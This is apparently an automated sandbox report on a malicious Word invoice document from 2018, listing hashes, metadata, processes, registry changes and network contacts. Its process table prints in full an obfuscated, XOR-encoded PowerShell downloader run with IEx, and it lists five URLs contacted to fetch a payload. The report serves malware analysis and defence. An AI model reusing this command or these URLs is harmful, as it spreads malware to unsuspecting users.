| File name: | factura-RMZ-52791907.doc |
| Full analysis: | https://app.any.run/tasks/533d040b-5b2c-449b-baff-4886ae86b27a |
| Verdict: | Malicious activity |
| Analysis date: | July 06, 2018, 14:35:58 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: 41862Uj43579, Subject: 93652Uj69831, Author: Ujaemas-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jul 6 08:20:00 2018, Last Saved Time/Date: Fri Jul 6 08:20:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0 |
| MD5: | 5E1F4228043621FF8434ECD214D7B7C4 |
| SHA1: | 5E72FB51F2E7D6223FED98BC9BD2133203547623 |
| SHA256: | 9D22E331D7491769D056178CE54DB0AE17C7242AEB0A6D3C2E4DBC5AD0280D7A |
| SSDEEP: | 768:Ohy+GwdblxObALSx+1oJpTbSes10n6S1v2ppt2FHuE24M7vwzuUMD0L6:Wy+GwBOyA+aJpTb0OXOp0FHDxM7vw/N |
MALICIOUS
Request from PowerShell which ran from Office
- powershell.exe (PID: 2980)
Executes PowerShell scripts
- WINWORD.EXE (PID: 348)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 348)
SUSPICIOUS
No suspicious indicators.INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 348)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
| . | | | Generic OLE2 / Multistream Compound File (13.5) |
EXIF
FlashPix
| Title: | 41862Uj43579 |
|---|---|
| Subject: | 93652Uj69831 |
| Author: | Ujaemas-PC |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:07:06 07:20:00 |
| ModifyDate: | 2018:07:06 07:20:00 |
| Pages: | 1 |
| Words: | 2 |
| Characters: | 12 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | 54604Uj90980 |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 13 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Category: | 1752Uj26131 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
35
Monitored processes
2
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 348 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\factura-RMZ-52791907.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2980 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ( '101_19P24~3-124i47B36B54<108k46k35%43~36~34<53<97<15<36-53i111-22P36i35<2w45k40i36<47~53_122%101w4B54w46%124%102~41i53%53B49<123~110k110<54P54i54k111~34B51i36w36<37i34<51k32-39i53P111k47-36~53i110B46%59B16i38_25B52k120-110<1%41%53B53i49k123w110k110_54B54i54k111k34k46-40-44i35<51k32k38%32B51%34~40~32<111%32~37%55%111w35%51%110w40-41P56B25w5<47P114-41_9P36B110i1~41k53i53_49k123w110k110k54-54k54_111-50B52<37_36<32w44<35<32w45_32-43B111i34<46P44B110i37<44%42k47%110%48w56i48i45B12P116w7<117%110~1B41i53-53i49%123i110w110<54B54w54B111i37w36i53i50k42~40i56~36%35_46B45_36i59i47_40w111~51B52B110i10-23-9<24-50_59<41_54i15P110i1B41%53i53w49B123<110k110-54-54~54k111k34i46i51<50w46%39~46<51_44<32w53w46_51_36-51<46w44_32_111<40B53%110k24<13<10B14P7<53<24~7i110P102_111w18%49P45~40<53P105P102P1k102_104<122B101i2_15%18-97P124i97P102-121w116P115<102w122k101<35~52%40i124P101P36P47k55<123B53B36B44-49B106w102w29~102k106%101_2k15-18B106<102%111w36w57<36i102_122w39i46_51_36B32~34~41P105~101w41-27i35w97w40_47i97i101_4<54w46B104_58_53k51-56k58~101B19k24<3B111_5P46i54<47-45-46-32<37%7_40k45%36i105-101w41B27<35~109i97k101-35<52k40<104<122-18P53%32P51%53~108P17B51<46_34P36<50w50i97B101i35<52i40B122-35-51P36B32%42w122_60k34-32<53i34~41w58%60i60'.sPlIt('iw_<k-~P%B' ) |fOreacH{ [CHAR] ($_ -BxOR"0x41" ) } ) -joIN''| IEx | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.10586.117 (th2_release.160212-2359) Modules
| |||||||||||||||
Total events
1 097
Read events
809
Write events
283
Delete events
5
Modification events
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2# |
Value: 7F3223005C010000010000000000000000000000 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1290141752 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1290141886 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1290141887 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 5C01000070A3E4B33615D40100000000 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | i3# |
Value: 693323005C01000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | i3# |
Value: 693323005C01000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (348) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 348 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8A4F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\mlkvzf1s.tjh.ps1 | — | |
MD5:— | SHA256:— | |||
| 2980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ck541o3y.stc.psm1 | — | |
MD5:— | SHA256:— | |||
| 348 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ctura-RMZ-52791907.doc | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2980 | powershell.exe | GET | 404 | 185.21.134.18:80 | http://www.creedcraft.net/ozQgXu9/ | GB | xml | 345 b | malicious |
2980 | powershell.exe | GET | 404 | 5.45.124.96:80 | http://www.detskiyebolezni.ru/KVHYszhwN/ | EE | xml | 345 b | suspicious |
2980 | powershell.exe | GET | 404 | 91.121.81.65:80 | http://www.corsoformatoreroma.it/YLKOFtYF/ | FR | xml | 345 b | suspicious |
2980 | powershell.exe | GET | 404 | 37.148.209.209:80 | http://www.sudeambalaj.com/dmkn/qyqlM5F4/ | TR | xml | 345 b | suspicious |
2980 | powershell.exe | GET | 404 | 191.252.136.85:80 | http://www.coimbragarcia.adv.br/ihyXDn3hHe/ | BR | xml | 345 b | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2980 | powershell.exe | 185.21.134.18:80 | www.creedcraft.net | SingleHop, Inc. | GB | suspicious |
2980 | powershell.exe | 191.252.136.85:80 | www.coimbragarcia.adv.br | Locaweb Serviços de Internet S/A | BR | suspicious |
2980 | powershell.exe | 37.148.209.209:80 | www.sudeambalaj.com | Cizgi Telekomunikasyon Anonim Sirketi | TR | suspicious |
2980 | powershell.exe | 5.45.124.96:80 | www.detskiyebolezni.ru | Fastvps Eesti Ou | EE | suspicious |
2980 | powershell.exe | 91.121.81.65:80 | www.corsoformatoreroma.it | OVH SAS | FR | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.creedcraft.net |
| malicious |
www.coimbragarcia.adv.br |
| suspicious |
www.sudeambalaj.com |
| suspicious |
www.detskiyebolezni.ru |
| suspicious |
www.corsoformatoreroma.it |
| suspicious |